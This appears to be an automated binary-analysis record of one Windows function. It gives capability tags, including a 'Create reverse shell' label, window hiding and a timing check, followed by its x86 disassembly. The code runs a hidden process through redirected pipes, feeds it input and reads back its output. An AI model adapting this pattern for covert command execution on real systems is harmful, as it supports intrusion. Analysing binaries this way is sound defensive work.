Function at 0x43d8e0
Capabilities:
Check for time delay via gettickcount
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Hide graphical window
Read file on windows
Read pipe
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe58
mov ecx, 8
push ebx
push esi
push edi
mov esi, 0x50d950
mov edi, dword [ebp + 0xc]
push edi
lea edi, [ebp - 0x148]
rep movsd dword es:[edi], dword [esi]
pop edi
mov eax, dword [0x50d970]
mov dword [ebp - 0xc], eax
mov eax, dword [0x50d974]
mov dword [ebp - 8], eax
mov eax, dword [0x50d978]
mov dword [ebp - 4], eax
xor edx, edx
mov dword [ebp - 0x10], edx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
xor eax, eax
mov dword [ebp - 0x18], eax
xor edx, edx
mov dword [ebp - 0x1c], edx
push edi
lea edi, [ebp - 0x158]
mov ecx, 4
mov esi, 0x50d97c
rep movsd dword es:[edi], dword [esi]
pop edi
mov ecx, 0x11
push edi
lea edi, [ebp - 0x19c]
mov esi, 0x50d98c
rep movsd dword es:[edi], dword [esi]
pop edi
mov eax, dword [0x50d9d0]
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x50d9d4]
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x50d9d8]
mov dword [ebp - 0x1a0], eax
call sub.KERNEL32.dll_GetTickCount
push eax
call sub.KERNEL32.dll_GetCurrentThreadId
push eax
push 0x5d008b
lea edx, [ebp - 0x148]
push edx
call fcn.004d1ac0
add esp, 0x10
mov dword [ebp - 0x1a8], 0xc
mov dword [ebp - 0x1a0], 1
xor ecx, ecx
lea eax, [ebp - 0x1a8]
mov dword [ebp - 0x1a4], ecx
push 0
push eax
lea edx, [ebp - 0x1c]
push edx
lea ecx, [ebp - 0x18]
push ecx
call sub.KERNEL32.dll_CreatePipe
test eax, eax
jne 0x43d9de
mov eax, 0xffffff9b
jmp 0x43dcc3
push 0
push 1
mov edx, dword [ebp - 0x18]
push edx
call sub.KERNEL32.dll_SetHandleInformation
test eax, eax
jne 0x43d9f9
mov eax, 0xffffff99
jmp 0x43dcc3
push 0
lea edx, [ebp - 0x1a8]
push edx
lea ecx, [ebp - 0x14]
push ecx
lea eax, [ebp - 0x10]
push eax
call sub.KERNEL32.dll_CreatePipe
test eax, eax
jne 0x43da1d
mov eax, 0xffffff91
jmp 0x43dcc3
push 0
push 1
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_SetHandleInformation
test eax, eax
jne 0x43da38
mov eax, 0xffffff8f
jmp 0x43dcc3
push 0x44
push 0
lea edx, [ebp - 0x19c]
push edx
call fcn.004cd264
mov dword [ebp - 0x19c], 0x44
lea ecx, [ebp - 0x148]
add esp, 0xc
mov dword [ebp - 0x190], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x15c], eax
lea eax, [ebp - 0x158]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x160], edx
lea edx, [ebp - 0x19c]
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x164], ecx
lea ecx, [ebp - 0xc]
or dword [ebp - 0x170], 0x101
mov word [ebp - 0x16c], 0
push eax
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push ecx
push 0
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x43dac2
mov eax, 0xffffff73
jmp 0x43dcc3
mov edx, dword [ebp - 0x1c]
push edx
call sub.KERNEL32.dll_CloseHandle
mov ecx, dword [ebp - 0x10]
push ecx
call sub.KERNEL32.dll_CloseHandle
call sub.KERNEL32.dll_GetTickCount
mov ebx, eax
jmp 0x43daf7
push 0
push 0
call fcn.004013d8
add esp, 8
call sub.KERNEL32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x2710
ja 0x43db0b
lea eax, [ebp - 0x148]
push eax
push 0
call sub.USER32.dll_FindWindowA
mov esi, eax
test eax, eax
je 0x43dadd
push esi
call sub.USER32.dll_IsWindow
test eax, eax
je 0x43db1d
push 0
push esi
call sub.USER32.dll_ShowWindow
push 0
lea edx, [ebp - 0x24]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004cd3e4
pop ecx
push eax
mov eax, dword [ebp + 8]
push eax
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_WriteFile
push 1
call fcn.004d934c
pop ecx
push 0
push 0
call fcn.004013d8
add esp, 8
test edi, edi
je 0x43dc17
mov cl, byte [edi]
test cl, cl
je 0x43dc17
test byte [ebp + 0x15], 1
je 0x43dbb2
mov ebx, edi
jmp 0x43db89
push 0
movsx eax, al
push eax
push 0x102
push esi
call sub.USER32.dll_PostMessageA
push 0
push 0
call fcn.004013d8
add esp, 8
inc ebx
mov al, byte [ebx]
test al, al
jne 0x43db6b
test byte [ebp + 0x15], 2
je 0x43dc03
push 0
push 0xd
push 0x102
push esi
call sub.USER32.dll_PostMessageA
push 0
push 0
call fcn.004013d8
add esp, 8
jmp 0x43dc03
push 0
lea edx, [ebp - 0x24]
push edx
push edi
call fcn.004cd3e4
pop ecx
push eax
push edi
mov ecx, dword [ebp - 0x14]
push ecx
call sub.KERNEL32.dll_WriteFile
mov esi, 0x5d0091
lea edi, [ebp - 0x128]
mov eax, edi
movsw word es:[edi], word [esi]
test byte [ebp + 0x15], 2
je 0x43dc03
push 0
lea edx, [ebp - 0x24]
push edx
lea ecx, [ebp - 0x128]
push ecx
call fcn.004cd3e4
pop ecx
push eax
lea eax, [ebp - 0x128]
push eax
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_WriteFile
push 1
call fcn.004d934c
pop ecx
push 0
push 0
call fcn.004013d8
add esp, 8
mov ecx, dword [ebp - 0x158]
push ecx
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [ebp - 0x154]
push eax
call sub.KERNEL32.dll_CloseHandle
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_CloseHandle
test eax, eax
call sub.KERNEL32.dll_GetTickCount
mov ebx, eax
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0
push 0
mov edx, dword [ebp - 0x18]
push edx
call sub.KERNEL32.dll_PeekNamedPipe
test eax, eax
je 0x43dcba
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x43dcac
lea eax, [ebp - 0x20]
push 0
push eax
lea edx, [ebp - 0x128]
push 0x104
push edx
mov ecx, dword [ebp - 0x18]
push ecx
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x43dcba
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x43dcba
mov edx, dword [ebp - 0x20]
mov byte [ebp + edx - 0x128], 0
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x43dcac
lea eax, [ebp - 0x128]
push eax
mov edx, dword [ebp + 0x10]
push edx
call fcn.004cd308
add esp, 8
call sub.KERNEL32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x2710
jbe 0x43dc41
xor eax, eax
jmp 0x43dcc3
test eax, eax
je 0x43dcd4
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x43dcd4
mov ecx, dword [ebp + 0x10]
mov byte [ecx], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret